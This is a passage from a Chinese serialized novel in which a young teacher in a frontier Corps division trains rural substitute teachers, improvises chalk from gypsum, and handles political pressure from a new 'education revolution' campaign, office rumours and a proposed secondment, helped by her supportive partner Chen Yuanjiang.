他眼神热切地看着舒染,“我……我想去。我跟刘技术员说了,他说,要我家里同意,还要……还要舒老师你觉得我行。” 舒染立刻明白了。刘技术员这是要组织一支深入到牧区的牲畜防疫科普队。这工作辛苦,需要长途跋涉,风吹日晒,还要跟牧民打交道,确实需要个机灵、耐劳、懂点汉语和牧区情况的年轻人做助手。 阿迪力无疑是个合适的人选,他熟悉牧区,汉语已经非常流利标准了,而且有股子韧劲儿。 “刘技术员亲自点的你?”舒染确认道。 阿迪力用力点头:“嗯!” 舒染看着他充满渴望的眼睛,心里快速权衡着。这确实是个好机会,能让阿迪力接触到更实用的知识,开阔眼界,也能真正为牧区做点实事。虽然他年纪还小,但牧区的孩子早当家,十四岁已经是半个劳力了。 “你爸爸妈妈同意吗?”舒染问到了关键。 “同意!”阿迪力急忙说,“我爸爸说,跟技术员学本事,是好事。就是……就是怕我干不好,给刘技术员添麻烦,也……也丢舒老师你的脸。”他低下头,声音小了些。 舒染笑了,拍拍他的胳膊:“阿迪力,你能想到来争取这个机会,就说明你长大了,有担当了。刘技术员肯要你,肯定是相信你的能力。我觉得你行!” “真的?舒老师,你觉得我行?” “行!”舒染肯定地点头,“不过,这活儿很辛苦,你要听话,用心学,不能怕累,不能半途而废。” “我不怕!”阿迪力挺起胸膛,脸上是抑制不住的兴奋和决心,“我一定好好学,好好干!” “好。”舒染想了想,“你等我一下,我写个条子,你带给刘技术员。”她回到办公室,快速写了一张便条,内容是支持阿迪力参加防疫队,并肯定了他的品性和能力,算是做个担保。 她把条子交给阿迪力,又叮嘱了几句跟技术员出去要注意的事项。阿迪力珍重地把条子折好,揣进怀里。 “舒老师,谢谢你!”他深深鞠了一躬,翻身上马,动作矫健利落,“我回去了!告诉刘技术员这个好消息!” 看着他纵马远去的背影,心中感慨万千。这个曾经用敌视目光看着她的少年,这个为了保护妹妹踹过教室门的哥哥,如今正奔向一条更能实现他价值的道路。《 》 130-140 第131章 阿迪力离开后, 舒染在师部的生活似乎又回归正轨。 舒染专注于流动教学点的后续跟进和总结汇报,三个新点的成功,让她在师部的声音更有分量。教育科将更多协调和规划的工作交给她, 明显是在有意培养。 这天下午,舒染正在誊写一份给兵团的阶段性工作报告, 杨振华拿着一份刚到的内部通讯稿走了进来,脸上带着一种兴奋的神色。 “舒染,你看看这个。”杨振华将通讯稿放在她桌上, 手指点了点其中一个板块。 舒染放下笔,拿起那份纸张。那是上级某部门印发的内部交流材料,主要传达一些政策和风向。杨振华指出的那篇文章,标题是《关于当前教育领域若干问题的思考》, 篇幅不长, 但用词犀利, 矛头直指所谓的土方法教育体系, 强调要打破常规, 字里行间透着大胆革新意味。 舒染快速浏览着, 心头微微发紧。这文章的风格和基调,与她一直以来强调的实用派隐隐有些对立。她抬起头, 看向杨振华:“杨干事,这是……” 杨振华压低声音:“上面吹的风。听说, 最近可能要成立一个跨部门的教育革命领导小组办公室,集中力量推动……革新。” 他斟酌着用词, “你这段时间成绩突出, 名字又在兵团挂了号,说不定……会被注意到。” 舒染的心跳漏了一拍。机遇?还是风险?这“教育革命”四个字,听起来就带着一股风暴将至的味道。她追求的革新, 是立足于边疆实际,让孩子们和职工受益的改良,而不是那种脱离实际、为了革新而革新的运动。 “我这都是些土办法,上不得台面。”舒染谨慎地回答,将通讯稿推回给杨振华,“这种大事,离我们太远了。” 杨振华看着她,笑了笑,意有所指:“有时候,机会来了,不想沾身也难。提前有点准备,总不是坏事。”他拿起通讯稿,“这份放你这儿,有空看看,了解了解精神。” 杨振华离开后,舒染看着桌上那份通讯稿,眉头微蹙。 她来自后世,对某些历史轨迹有着模糊的预警。这种自上而下、带着强烈意识形态色彩的革命,往往容易失控,偏离初衷。她这点成绩,放在平时是功劳,放在某种特定的风向里,就可能变成靶子,或者被裹挟着去做违背她教育理念的事情。 她将通讯稿塞进了抽屉最底层,决定暂时不去碰触这个敏感的话题。当务之急,是把现有的根基打得更牢。流动教学点虽然建起来了,但师资、教材、稳定性都是大问题,任何一个环节出问题,都可能前功尽弃。 接下来的日子,舒染频繁地下到各团、连队、牧区教学点,亲自听课,与代课老师座谈,了解牧民和职工的真实需求和困难。她发现,仅靠热情和简陋的物资远远不够,许多代课老师自身文化水平有限,教学方法单一,孩子们的学习效果起伏很大。 她开始着手编写一套更贴近生活、更浅显易懂的辅助教材,将认字、算术与放牧、耕种、卫生防疫等生产生活知识结合起来。 同时,她向孙处长建议,利用农闲时间,将各教学点的代课老师集中到师部进行短期培训,□□学要求,交流经验。 这个建议得到了孙处长的支持。但涉及到经费、场地和抽调人员,又需要后勤处和相关连队的配合。舒染不得不再次硬着头皮,拿着方案和预算去找后勤处的李副处长协调。 这一次,李副处长的态度似乎缓和了些,不知道是上次被舒染将了一军后学乖了,还是听到了什么风声。 他虽然依旧打着官腔,强调困难,但最终还是批了部分经费和物资,允许舒染在师部的空礼堂进行培训。 “舒染同志,现在各方面都在强调节约,你们这个培训,一定要注重实效,不能搞形式主义啊。”李副处长在批条上签字时,不咸不淡地叮嘱了一句。 “李副处长放心,我们一定把每一分钱都用在刀刃上,确保培训出效果。”舒染接过批条,语气诚恳。 从后勤处出来,舒染松了口气。第一步已经迈出去了,接下来的培训老师,编写教材,稳定教学点……每一件事都需要耗费心力。而那个关于“教育革命领导小组办公室”的消息,偶尔会飘过她的心头。 晚上,她留在办公室加班,整理培训老师的名单和课程安排。窗外天色渐暗,办公室里只剩下她一个人了。 门被轻轻敲响。 “请进。” 陈远疆推门进来,手里拎着一个铝制饭盒,像是刚忙完公务。 “还没吃?”他走到她桌前,将饭盒放下,盖子边缘冒出热气。 “马上就好。”舒染抬头,揉了揉发酸的后颈,看到他,脸上不自觉地露出笑意,“你怎么来了?” “顺路。”陈远疆在她对面的椅子上坐下,目光扫过她桌上摊开的厚厚的名册和教案,“又遇到难题了?” 舒染把培训老师的事情简单说了说,略去了难以推展的部分,只提了进展。 陈远疆安静地听着,等她说完,才开口:“需要我做什么?” 舒染心里一暖。他总是这样,随时准备提供他力所能及的支持。 “暂时不用,批条已经拿到了。就是后续组织起来,事情比较杂。” “嗯。”陈远疆没再多问,把饭盒往她面前推了推,“先吃饭。” 舒染打开饭盒,里面是食堂打的饭菜,还冒着热气,显然是刚打来不久的。米饭上面,还卧着一个煎得金黄的荷包蛋。 “食堂晚上还有荷包蛋?”舒染有些惊讶。 陈远疆移开目光,看向窗外,“炊事班老赵欠我个人情。” 舒染低头笑了笑,拿起筷子。她知道,肯定不是那么简单。她吃着饭,办公室里一时只剩下她吃饭的细微声响。 陈远疆忽然开口:“我听说上面可能要有新动作,关于教育的。” 舒染夹菜的筷子一顿,抬眼看他。 陈远疆的目光转回来,落在她脸上,“风向往‘革’字上转。你最近风头劲,要当心点。” 他也听说了。舒染放下筷子,叹了口气:“我知道。杨干事给我看了内部通讯。我心里有点没底。远疆,那文章里说的,跟我做的,好像不是一回事。” “你做的,是让这里的孩子受益的事。”陈远疆语气肯定,“只要根基稳,风来了,树也不会倒。” “但如果风太大,该避的时候,也要懂得避。有些浪头,不是你能扛的。”他顿了顿,看着她,眼神深邃:“但我会一直在。” 舒染明白他的意思。 “我现在只想把眼前的事情做好。”舒染重新拿起筷子,戳了戳碗里的饭,“培训老师,编好教材,把教学点稳住。其他的……到时候再说。” “嗯。”陈远疆看着她,“需要我的时候,告诉我。” 舒染她点了点头,继续吃饭。 吃完饭,陈远疆拿起空饭盒:“我走了。你也早点回去休息。” “好。”舒染送他到门口。 他走到走廊尽头,又回头看了她一眼,才转身消失在楼梯口。 * 师部第一期流动教学点代课教师培训班,在师部一间闲置的大礼堂里开班了。 来自各团、连队和牧区的代课老师,年龄跨度从二十出头岁到四十多岁,文化水平参差不齐,但眼神里都带着对对这份工作的珍惜。 舒染站在讲台前,看着下面这些面孔,心中感慨。他们是这片土地上教育星火最直接的传递者。曾经,她也是这里的一份子。 培训内容是她精心设计的,侧重于实用。如何用最少的粉笔写出最清晰的板书;如何利用沙盘、木棍进行启蒙教学;如何将识字与算工分、认票据、看农药说明书结合起来;甚至包括一些基础的儿童心理和课堂管理技巧。 她讲得深入浅出,结合大量实例,台下老师们听得津津有味,不时低头认真记录。 培训间隙,舒染会走到他们中间,和大家聊天,了解他们各自教学点的情况和困难。 一个来自牧区的年轻姑娘怯生生地问:“舒老师,孩子们记不住字,上午教了下午就忘,怎么办?” 舒染耐心解释:“不要急。可以把字和具体的东西联系起来,比如教‘羊’字,就带他们去看羊圈;教‘水’字,就带他们到水渠边。多用画画、唱歌的办法,让学习变得有趣。” 一个年纪稍大的连队家属皱着眉:“舒老师,你教的这些法子是好,可我们那儿条件差,连你说的黑板都没有。” 舒染点点头:“这个问题很实际。我们可以想办法替代,比如用平整的泥地当练习板,用树枝写字;或者找些废弃的木板,用墨汁刷一刷,就是简易黑板。关键是要有那颗想把孩子教好的心。” 她的话实在,没有空泛的大道理,句句都说到了老师们的心坎里。几天培训下来,这些原本有些忐忑和茫然的代课老师,眼神里多了不少信心。 培训结束那天,舒染组织了一个简单的座谈会,让大家交流心得。气氛很热烈,老师们争相发言,分享自己教学中摸索出的土办法,也提出了不少实际困难。舒染一一记下,准备后续研究解决。 送走了这批老师,舒染还没来得及喘口气,孙处长把她叫到了办公室。 孙处长脸上带着喜色,递给舒染一份文件:“小舒,好消息!兵团教育部对我们前期报送的经验总结非常重视,决定在下个月召开的会议上,让你做典型发言!” 舒染接过文件,是会议通知,她的名字在发言代表名单里。这确实是一个露脸的机会。 “这是组织对你的信任,也是对我们师教育工作的肯定!”孙处长语气振奋,“你好好准备一下发言稿,一定要把我们的特点突出出来!” “是,处长,我一定认真准备。”舒染郑重答应。 然而,她还没来得及仔细思考发言稿的事,几天后,又一纸通知送到了教育科。这次是上级文件,正式宣布成立教育革命领导小组,下设办公室,并要在全兵团范围内抽调年轻干部。 这份文件,比之前杨振华带来的内部通讯稿,更加正式,措辞也更加尖锐。文件中列举了当前教育领域需要革命的种种弊端,其中一条就是片面强调基础,忽视政治挂帅,另一条是固守传统教学模式,缺乏大胆创新精神。 舒染看着文件,心里那根弦绷得更紧了。她之前的预感没错,风真的来了,而且风向对她似乎并不完全有利。她做的恰恰是夯实基础,她倡导的实用和接地气的土办法,在某些人看来可能就是“忽视政治”。而她即将在会议上做的发言,内容与这革命精神有点不太相符。 孙处长也看到了这份文件,他把舒染叫去,脸上的喜色淡了些,多了几分凝重。 “小舒啊,兵团会议的通知和这个文件,你都看到了。”孙处长手指敲着桌面,“这是个机会,但也可能是个考验。你的发言稿,要把握好分寸。既要把我们的成绩讲足,也要适当体现出对上级精神的理解和贯彻。” 话说得委婉,但舒染听懂了。孙处长是在提醒她,发言内容要顺应风向,至少不能明显抵触。 “处长,我明白。”舒染点头,“我会仔细斟酌。” 回到自己办公室,舒染对着空白的稿纸,陷入了沉思。按照文件的精神,她应该大力批判务实教育,强调政治性。可她的教学点,她的所有努力,都是建立在尊重教育规律、满足需求的基础上的。让她为了迎合风向,去否定自己坚信并实践的东西,她做不到。 但如果完全按照自己那套来讲,会不会在会议上引起争议?甚至影响到师部的声誉?她会不会因为这次发言被盯上? 晚上,她心烦意乱,在师部大院后面那条通往戈壁的小路上散步。 身后传来熟悉的脚步声。 陈远疆走到她身边,和她并肩站着,看着远方。 “遇到难题了?”他问。 舒染把上级文件的事情告诉了他,没有隐瞒自己的矛盾和担忧。 “我不知道该怎么写这个发言稿。”舒染看着天边最后一抹晚霞,“说假话,我做不到。说真话,又怕给孙处长和师部惹麻烦,也怕把自己搭进去。” 陈远疆沉默了片刻,开口,声音低沉却清晰:“舒染,你还记得在启明小学的初衷吗?” “记得。”舒染毫不犹豫。 “那你觉得,你做的这些,错了吗?” “没有。”舒染摇头,“我觉得是对的。” “那就坚持你认为对的事。”陈远疆转头看她,“去上面开会,是让你去讲你怎么把事情做成的,不是让你去猜别人想听什么的。把你做的效果讲出来,比任何漂亮话都有力。孙处长让你把握分寸,是保护你,不是让你违心。真到了要选择的时候,”他看着她,一字一句地说,“选你心里认定的那条路。其他的,有我。” “有你?”舒染看向他。 “嗯。”陈远疆应了一声,“我算是你一路以来的见证者,你做的事,错不了。” 他的话让舒染清醒了些,胸中的郁结散去了大半。 是啊,她何必为了那尚未完全清晰的风向而自乱阵脚? “我明白了。我知道该怎么写了。” 两人又在暮色中站了一会儿,直到天色完全暗下来,才转身往回走。 走到舒染宿舍楼下,陈远疆停下脚步。 “上去吧。” “嗯。”舒染点点头,走上台阶,又回头看他,“陈远疆,谢谢你。” 第132章 半个月的时间, 舒染在办公室里对着稿纸,写写划划,反复推敲。 最终, 她围绕流动教学点“如何因地制宜解决职工牧民子女识字问题”、“如何将文化学习与生产生活实践紧密结合”以及“如何在物资匮乏条件下依靠群众智慧勤俭办学”这三大块内容,把发言稿写完了。 对于文件的精神, 她没有刻意迎合批判,而是在结尾部分,谨慎地加了一段, 强调在教学实践中“始终注重思想引导,培养孩子们热爱祖国、热爱兵团、热爱劳动的情感”,并将扫盲识字与“学习名人语录,理解党的政策”联系起来, 算是打了个擦边球, 既体现了政治性, 又没有脱离她工作的实际。 稿子写完, 她先拿给孙处长过目。 孙处长仔细看了一遍, 沉吟了片刻, “嗯……应该能行。”他说着,看向舒染, 目光里带着一丝担忧,“不过, 小舒啊,现在风向有些变化, 你这稿子……太实在了, 可能不够锐。会上如果有领导问起对当前教育革命精神的看法,你要有所准备,灵活应对。” “我明白, 处长。”舒染点头,“我会见机行事。” 出发前往司令部的前一天晚上,陈远疆来了舒染宿舍。他手里拿着一个文件袋。 “给你的。”他把文件袋递过来。 舒染打开,里面是一本厚厚的资料表,封面上没有任何字样。她疑惑地翻开,里面是密密麻麻的手写资料,分门别类地记录着兵团各师、各团主要领导的工作风格,甚至一些公开大会上的言论倾向。笔迹显然是陈远疆的手笔。最后几页,还附了几份近期上级下发的与文教卫领域相关的政策文件摘要,关键处都用红笔做了简单的标注。 舒染震惊地抬起头,正准备说话,就被陈远疆打断了。 “拿着。”陈远疆的语气不容置疑,“开会的时候,多听,多看,少说。必要的时候,知道台上坐的是谁,什么路数,没坏处。”他顿了顿,补充道,“看完烧掉。” “谢谢。”舒染的千言万语,最终只化作这两个字。 兵团司令部设在北疆一个更大的城市。几天的会议,议程紧凑,气氛也比师部严肃得多。来自全兵团各师的代表济济一堂,舒染作为少数几个需要做典型发言的基层代表,格外引人注目。 轮到她上台时,她能感觉到台下无数道目光聚焦在自己身上,有好奇,有审视,也有不加掩饰的质疑——一个这么年轻的女同志,能有什么真本事?怕是沾了“典型”的光。 舒染平复了一下有些紧张的心绪,走到话筒前,将她的理念和经验做法一一脱稿道来。 她的语言依旧朴实,每一个细节都透出她的付出,当她讲到阿迪力主动要求跟随兽医学习,想回来帮助牧区时,台下不少来自基层的代表频频点头,眼神里流露出共鸣。 效果比她预想的还要好。发言结束,台下响起了热烈的掌声。主持会议的张主任还特意做了点评,肯定了舒染这种“从实际出发,为群众着想”的工作思路。 舒染在下面偷偷看了下陈远疆的笔记本上对他的描述:务实,重成效。心里稍稍松了口气。 然而,会议间隙,麻烦还是找上门了。 一个戴着眼镜,约莫三十出头的男子主动走到舒染面前,他胸前别的代表证显示他来自兵团直属机关。 “舒染同志,你的发言很……别致。”男人推了推眼镜,嘴角带着一丝笑意,语气却有些耐人寻味,“我叫郑涛,在兵团宣传部工作。” “郑干事,你好。”舒染保持着礼貌的微笑,心里却警惕起来。 陈远疆的笔记本里提到过这个名字,旁边标注着:理论功底深,文笔犀利,紧跟风向,是“教育革命”的积极者之一。 “舒染同志的工作,确实解决了一些基层的实际问题。”郑涛话锋一转,“不过,听了你的发言,我有个疑问。你强调的实用和基础,与我们当前提倡的的文件精神,似乎……侧重点有所不同啊?你认为,在边疆地区,是应该先扎扎实实打好识字算数的基础呢,还是应该更注重培养孩子们的革命思想?” 这个问题极其尖锐,带着明显的陷阱。周围几个旁听的代表也竖起了耳朵。 舒染知道不能硬碰硬。她脸上笑容不变,语气诚恳:“郑干事提的问题非常好,也很有深度。我认为,这两者并不矛盾,应该是相辅相成的关系。我们的流动教学点,教孩子们识字算数,能读懂报纸了解国家大事,了解国家和党的政策,这本身就是最实际、最能让群众感受到党和兵团关怀的事情,这难道不正是无产阶级政治最生动的体现吗?” 她顿了顿,看向郑涛,反将一军:“如果孩子们连最基本的文化都没有,空有口号,又怎么能真正理解革命的道理,怎么能成长为建设边疆、保卫边疆的合格接班人呢?我们兵团的孩子,将来是要扛起锄头也能拿起枪的,没有文化底蕴,怎么行?” 她的话合情合理,紧扣边疆实际,又把政治高度拔了上去。郑涛被她噎了一下,镜片后的眼睛闪了闪,一时找不到合适的话来反驳。 旁边一位来自边境团场的老代表忍不住插话:“舒染同志说得在理!我们那儿的孩子,能认字会算数,比会背一百条口号都强!老百姓就认实在的!” 其他人也纷纷附和。郑涛见状,脸色有些难看,干笑两声:“呵呵,舒染同志果然能言善辩。看来你对教育革命,有自己的……独特理解。”他特意加重了“独特”二字,意味不明地看了舒染一眼,转身走了。 舒染看着他的背影,知道这事没完。这个郑涛,恐怕已经把她记下了。 会议最后一天,议程接近尾声。主持人宣布公布教育革命领导小组办公室的抽调人员的初步名单,征求各师意见。会场里响起一阵细微的骚动,许多人伸长了脖子。 舒染坐在台下,心里并不太在意。她觉得自己一个基层搞具体业务的,跟这种高层设立的听起来就很务虚的机构应该扯不上关系。她甚至微微走神,想着回去后第二期师资培训该怎么改进。 然而,当念到某个名字时,她的心跳停了一拍。 “……X师部教育科,舒染。” 一瞬间,舒染感觉周围的空气都凝固了。台上念名单的声音还在继续,但她已经听不清后面还有谁了。 教育革命领导小组办公室是兵团级别的机构,直接对接最高决策层。一旦借调过去,就意味着离开了师部这个层面,直接进入了更广阔的平台。 以她的能力和来自未来的见识,在那个位置上,只要操作得当,很可能迅速脱颖而出。这意味着更大的权力,更广的人脉,更高的起点,未来甚至可能影响到整个兵团乃至更广范围的教育政策制定。 这是通往事业巅峰梦想的一条捷径,是无数体制内的人挤破头都想得到的机会。厅级单位,她太明白这个词在未来的分量了。留下几乎是板上钉钉的事情,她的职业生涯将彻底改变轨迹,一步登天。 另一边,是她作为教育者近乎本能的警惕和排斥。她仔这次会议中感受到的氛围是不确定性和意识形态斗争,那里可能是风口浪尖。她这点基层经验,在那里可能根本不够看,稍有不慎就可能成为牺牲品。 机遇与风险并存,诱惑与陷阱同在。 理智上,她清楚借调是晋升的跳板;情感和直觉上,她却对那个未知的领域充满了不安和抗拒。 感受到周围投来的各种目光,她叹了口气。 名单念完了。主持人开始说一些征求各师意见、后续办理手续的套话。舒染却一个字也听不进去了。她脑子里乱糟糟的,一会儿是未来在更高平台上挥斥方遒的模糊远景,一会儿是畜牧连孩子们清澈又渴望的眼睛,一会儿是文件中那些精神,一会儿又是陈远疆那句“选你心里认定的那条路”。 她舍不得基层这片土地,也畏惧那个看似光明实则可能暗流汹涌的前途。 散会后,她正准备离开,张主任的秘书走了过来:“舒染同志,请留步。张主任想跟你谈谈。” 该来的,终究来了。舒染跟着秘书走向张主任的临时办公室。 张主任坐在沙发上,态度还算温和,示意舒染坐下。 “舒染同志,你的发言很好,很有说服力。”张主任开门见山,“你的能力,组织上是看到的。这次抽调名单,是我提议把你加进去的。” 果然如此。舒染面上保持着镇定。 张主任看着她,继续说道:“教育革命,是当前的大事。我们需要像你这样,有基层实践经验,又有闯劲的年轻同志,去推动,去落实。在那个位置上,你能发挥更大的作用,做出更大的贡献。这对于你个人的成长,也是一个非常好的机会。” 话语里的期许和暗示都很明显。这是组织谈话,某种程度上也是命令。直接拒绝,是不识抬举。 她目光坚定地说道:“张主任,非常感谢组织的信任和培养。能进入领导小组办公室学习锻炼,是我的荣幸。只是……我有个不情之请。” “哦?你说。”张主任有些意外。 “我负责的流动教学点,刚刚铺开三个新点,师资培训也才进行了一期,很多工作还在摸索阶段,基础非常不稳固。我担心,如果我这个时候离开,前期投入的心血可能会大打折扣,甚至半途而废。” 舒染语气恳切:“能不能请组织考虑,让我暂时留在原岗位,把教学点的框架彻底搭稳固,培养出几个能独当一面的骨干之后,再听从组织调遣?我相信,只有基层的基石牢固了,任何上层的改革和革命,才能真正落地生根。” 张主任沉吟起来,手指轻轻敲着沙发扶手。他欣赏舒染的务实和能力,也清楚基层工作的艰难。舒染说的不无道理。 “嗯……你的考虑,也有道理。”张主任终于开口,“这样吧,抽调的事情,暂时搁置。你先回去,把你那一摊子事情扎扎实实地办好,拿出更过硬的成绩来。至于领导小组办公室那边……以后再说。” “谢谢张主任!”舒染心里一块大石落地,连忙站起身,“我一定不辜负组织的期望,把工作做好!” 从张主任办公室出来,舒染后背惊出了一身冷汗。她知道,这只是暂时的缓解。风已经起了,她这棵不算高大的树,想要完全避开,恐怕很难。她必须更快地让自己快速成长,让她的工作成果更加扎实,扎实到任何人都难以否定。 回到师部,舒染加快了辅助教材的编写,筹备第二期代课老师培训,更频繁地深入各个教学点解决具体问题。 陈远疆将她的努力和焦虑都看在眼里。他什么也没说,只是在她加班时送来饭菜;在她下乡跑点时确保她一切平安。 第133章 兵团会议结束返回师部后的日子, 表面平静,底下却暗流涌动。 舒染将更多精力投入到教学点的巩固和师资培训上。她很清楚,自己拒绝抽调至领导小组办公室的决定, 虽暂时获得了张主任的理解,却也等于在某种程度上站到了那股新兴激流的外围。 她必须让自己事业做得更扎实, 才能抵御可能到来的风雨。 连日来,她奔波于师部周边新建立的几个教学点之间,亲自听课、与代课教师座谈、收集牧民和职工家长的反馈。 这天下午, 她刚从距离师部最远的红星岩牧业队教学点返回,带着一背包的材料,推开教育科办公室的门。 同事吴建国正端着茶杯看报纸,抬眼瞥见她, 不咸不淡地开口:“舒组长回来了?真是辛苦。听说红星那边条件最苦。” 舒染放下帆布包, 拍了拍身上的灰, 坦然道:“条件是艰苦, 但孩子们想学的心是真的。刘老师也很用心, 用木炭在刷黑的墙板上写字, 效果还行。”她径直走到自己的办公桌前,给自己倒了杯凉白开, 一饮而尽。 “还是舒干事有办法,总能因地制宜。”吴建国放下报纸, 声音略高了些,“不过现在上面的精神, 强调的是打破旧框框, 敢想敢干。我们总在沙地上写写画画,是不是有点……跟不上形势了?” 办公室里其他几位同事也停下了手中的事,竖着耳朵听着。 舒染抬眼看向吴建国, 目光平静:“吴干事,形势要跟,但孩子的教育根基更要打牢。在沙地上学习也很实用。我相信,这也是为边疆建设培养实实在在的人才。” “实用实用,你就知道实用!”吴建国似乎被戳到了痛处,“现在强调的是思想领先!” “没有文化基础,如何深刻理解政治思想?”舒染语气依旧平稳,“难道让我们的下一代都当睁眼瞎,就是政治挂帅了?我看,让孩子们明事理、懂知识,才是真正对革命事业负责。” 她不再看吴建国的脸色,坐下来开始整理今天的调研记录。办公室里安静下来,只有纸张翻动的声音。她知道,这种理念上的分歧,随着外界风声渐紧,只会越来越多。 晚上,舒染在宿舍里整理调研资料,门外传来敲门声。 舒染起身开门,陈远疆站在门外,手里拿着两个烤洋芋。“刚在灶上烤的,给你带一个。” “进来吧。”舒染侧身让他进屋,接过还烫手的洋芋,“正好饿了。” 陈远疆把另一个烤洋芋放在桌上,很自然地拿起暖水瓶,给她晾着的水杯添上热水。 “谢谢。”舒染揉了揉发涩的眼睛,看向他。他穿着常服,眉眼间带着些疲惫,但看向她的目光一如既往的沉静。 “今天不太顺?”陈远疆拉过椅子坐下,那语气不是疑问,而是肯定。他对她的情绪捕捉总是很精准。 “老样子,有支持的有看不惯的。”舒染掰开洋芋,热气腾腾,她吹了吹气,说得轻描淡写,“不过,想到点新路子,也许能绕开后勤处那点配额。” “哦?”陈远疆挑了挑眉,似乎有些兴趣,但保持着分寸,没有追问细节。 舒染也没打算细说,这是她工作范畴内的事,她需要自己解决。她转而问道:“你明天是要去巡查?” “嗯,三四天。”陈远疆点头,目光落在她的脸上,“自己注意安全。” “你也是。”舒染咬了口洋芋,补充道,“路上小心。” 两人之间流淌着一种默契。他没有过度介入她的困境,她也没有寻求帮助。 又坐了一会儿,陈远疆起身告辞:“明天我还要去下面几个边防哨所巡查,大概三四天回来。你注意安全,有事找孙处长,或者给我留话。” “嗯,你也是,注意安全。”舒染送他到门口。 他走到门口,脚步顿住,回头看她,昏黄的灯光下,他的眼神深邃:“舒染。” “嗯?” “需要搭把手的时候,告诉我,别硬抗。”他说得含蓄,但意思明确。 舒染听懂了他的言下之意,笑了笑,眼神清亮:“我知道。但目前我还想自己试试。” 陈远疆点了点头,没再说什么,转身带上了门。 门关上的声音落下,宿舍里重新恢复安静。舒染将最后一口红薯吃完,再次埋首于她的工作中。 第二天,舒染再次与后勤处协调物资时,虽然李副处长脸色依旧不算好看,但碍于清单列出的物资确实属于积压可调剂范畴,且舒染这次只申请了其中最基础的部分,他最终还是批了条子。 “舒干事,现在各处物资都紧,这次是特例,下不为例。”李副处长把批条递给她。 “谢谢李处长支持教育工作。”舒染接过批条,笑容得体,“我们会充分利用好这些物资,尽快改善教学点的条件。” 从后勤处出来,舒染拿着批条,没有直接回教育科,而是拐去了师部边缘的机修队废料场。凭着陈远疆清单上的提示和机修队技术员的帮忙,她果真找到了一些被丢弃的、质地较软的石灰岩石块。她捡了几块揣进兜里,又去仓库领了那袋石膏粉。 接下来的几天,舒染利用业余时间,拉着宣传科一位会画画的年轻干事,一起研究如何用石膏粉自制粉笔。试验了几次,虽然成品粗糙易断,但总算能在黑板上留下清晰的痕迹,成本远比供销社偶尔才能见到的粉笔低得多。她又把捡来的石灰岩石块敲打成合适的大小,打磨边缘,制作成石笔,适合孩子在沙盘或者石板上练习写字。 她把自制粉笔和石笔的样品,连同使用方法说明,带到了下一期的代课教师培训班上。 “同志们,条件艰苦,我们就要自己想辦法。”舒染拿起一支自制粉笔,在黑板上用力写下“自力更生”四个字,笔画虽然不够流畅,但字迹清晰。 “粉笔可以用这些做,虽然不如买的好用,但能解燃眉之急。这些石灰岩块,戈壁滩上很容易找到,稍微加工一下,就是孩子们练习写字的好工具。” 来自各团场、牧区的代课教师们传看着这些教具,眼神里充满了惊奇。 “舒老师,这办法好!我们那儿石灰岩多的是!” “石膏粉也好弄,以后再也不怕没粉笔用了!” 看到大家积极响应的样子,舒染心里踏实了不少。她深知在资源匮乏的环境下,激发基层教师自身的能动性和创造力,远比等待上级配发更为可靠。 用最实在的行动,解决最实际的问题。 然而,就在舒染致力于推广这些土办法时,一股关于她的谣言,悄然在师部某些角落里流传开来。 起初是些含沙射影的话,说舒染搞“自力更生”是假,实则是利用职权,倒卖后勤处批出来的物资,中饱私囊。传得有鼻子有眼,说她用批来的木材做了家具拉回自己宿舍,用石膏粉做了东西私下售卖。 这天下班,舒染路过食堂后面的水房,听见两个面生的女干事在里边一边洗东西一边闲聊。 “……看不出来啊,长得挺端正,心思这么活络。” “可不是嘛,听说后勤处李处长都对她有意见了,人家根子硬,没办法。” “什么根子硬,不就是仗着……” 舒染脚步顿了顿,没有进去,径直离开了。她脸上没什么表情,心里却像堵了一团棉花。这种无中生有的中伤,虽然拙劣,却往往最能败坏人的名声。 她首先想到的是不能连累陈远疆。他身份特殊,正值晋升的关键时期,任何关于他的风言风语都可能被放大。 晚上,她找到孙处长,直接汇报了听到的谣言和自己申请、使用物资的详细情况,并将物资清单、批条副本以及自制教具的样品和用途说明一并呈上。 孙处长皱着眉听完,看了看那些自制的粉笔和石笔,脸色凝重:“舒染同志,我相信你的为人和工作。这件事我会留意。看来,是有人坐不住了,想用这种下作手段给你泼脏水。”他沉吟片刻,“你最近行事要更加谨慎,尤其是涉及物资调配,所有流程必须清晰透明,留有记录。” “我明白,处长。”舒染点头。 从孙处长办公室出来,舒染在回宿舍的路上,遇到了显然是特意等在那里的杨振华。 “舒染,”杨振华神色有些担忧,“听到些闲话,你没事吧?” “没事。”舒染笑了笑,“清者自清。” 杨振华看着她平静的脸,叹了口气:“你还是这么要强。我听说,这话头最开始……可能跟吴干事那边有点关系。当然,没证据。” 舒染并不意外。吴建国对她不满已久,借机生事是可能的。“谢谢告知,我会注意的。” “需要我帮忙做点什么吗?比如,在内部通讯上写篇文章,正面宣传一下你这些土办法的实际效果?”杨振华主动提议。 舒染想了想,摇摇头:“暂时不用。这个时候大张旗鼓地宣传,反而显得我心虚,或者是在跟谁打擂台。让事实说话吧。等各个教学点都用上这些自制教具,真正受益的是孩子们和老师们,这就是最好的回应。” 杨振华看着她,眼神里带着欣赏和感慨:“舒染,你总是看得比旁人清醒。也好,有什么需要,随时开口。” “谢谢。” 独自回到宿舍,舒染才露出疲惫的神色。她坐在桌前,看着窗外沉沉的夜色。谣言不会伤筋动骨,却恶心人,它会磨损人的意志。 她拿起桌上那支做得最像样的自制粉笔,在地上慢慢写下“人言可畏”四个字,然后又用力地画了个圈把它框起来。 不能被动挨打。她需要做点什么,既能澄清自己,又能进一步推进工作。 第二天,舒染带着一批自制粉笔和石笔,以及详细的制作方法说明,直接去了师部直属托儿所和小学。她找到负责人,表示这是教育科近期调研后总结出的节约经费、保障教学的小窍门,免费提供给他们试用,并欢迎反馈改进意见。 直属学校的领导虽然对这些简陋的教具将信将疑,但毕竟是教育科推广的,又是免费试用,便答应下来。 随后,舒染又让参加培训的代课教师回去后,不仅自己在教学点使用,也可以将制作方法分享给所在连队、牧区的家属们,鼓励大家就地取材,解决孩子们的学习用具问题。 几天后,效果开始显现。先是直属托儿所的阿姨反馈,石笔给大点的孩子在地上画画、认字很好用,不怕浪费。 接着,下面团场传来消息,有些家属用自制的石笔教孩子认字,效果不错,甚至带动了一些成人扫盲。 那股关于舒染倒卖物资的谣言,在这些成果面前不攻自破,渐渐没了动静。虽然吴建国见到她时,脸色依旧不太自然,但也不再主动挑衅。 陈远疆巡查回来的那天晚上,听说了谣言的事情,眉头紧锁,眼神瞬间冷了下来。 “知道是谁开始的吗?”他声音里带着压制的怒意。 